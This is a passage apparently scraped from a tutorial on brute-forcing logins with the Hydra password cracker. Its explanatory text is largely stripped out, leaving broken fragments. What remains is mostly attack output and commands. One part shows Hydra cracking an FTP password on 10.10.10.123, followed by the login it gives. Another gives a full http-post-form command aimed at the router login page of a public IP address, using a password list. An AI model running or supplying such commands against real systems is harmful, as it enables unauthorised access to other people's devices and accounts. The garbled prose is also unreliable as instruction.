3. Hydra

-03-22

18 2024

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- Hydra .





Hacking with Hydra—A Practical Tutorial

Hydra

```
root@kali: ~
File Edit View Search Terminal Help
Hydra (http://www.thc.org/thc-hydra) starting at 2013-09-18 17:45:38
[DATA] 16 tasks, 1 server, 19 login tries (l:1/p:19), ~1 try per task
[DATA] attacking service ftp on port 21
 [ftp] host: 10.10.10.123    login: 100security    password: P@ssw0rd
 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-09-18 17:45:43
root@kali:~#
 oot@kali:~# ftp 10.10.10.123
Connected to 10.10.10.123.
220 ProFTPD 1.3.2c Server (SERVIDOR FTP) [10.10.10.123]
Name (10.10.10.123:root): 100security
331 Password required for 100security
Password:
230 User 100security logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rwxr-xr-x 1 100security 100security 23 Sep 18 20:34 100security.txt
226 Transfer complete
```

ftp> exit

221 Goodbye.

```
    IP 178.72.90.181;
    http 80 ;
    html ,
    http://178.72.90.181/cgi-bin/luci POST username=root&password=test_password;
    Invalid username and/or password!
```

Please try again.

```
http-post-form ,
                                            http post. hydra -I root -P
~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -V -s 80 178.72.90.181
http-post-form "/cgi-bin/luci:username=USER&password=PASS:Invalid username"
                    /cgi-bin/luci:username=USER&password=PASS:Invalid username.
                (:) : -
                                                                  USER
                                                                        PASS
                                    POST.
(/cgi-bin/luci); -
         (username=USER&password=PASS); -
                    Hvdra .
                                           (Invalid username).
```

■ Hydra, ,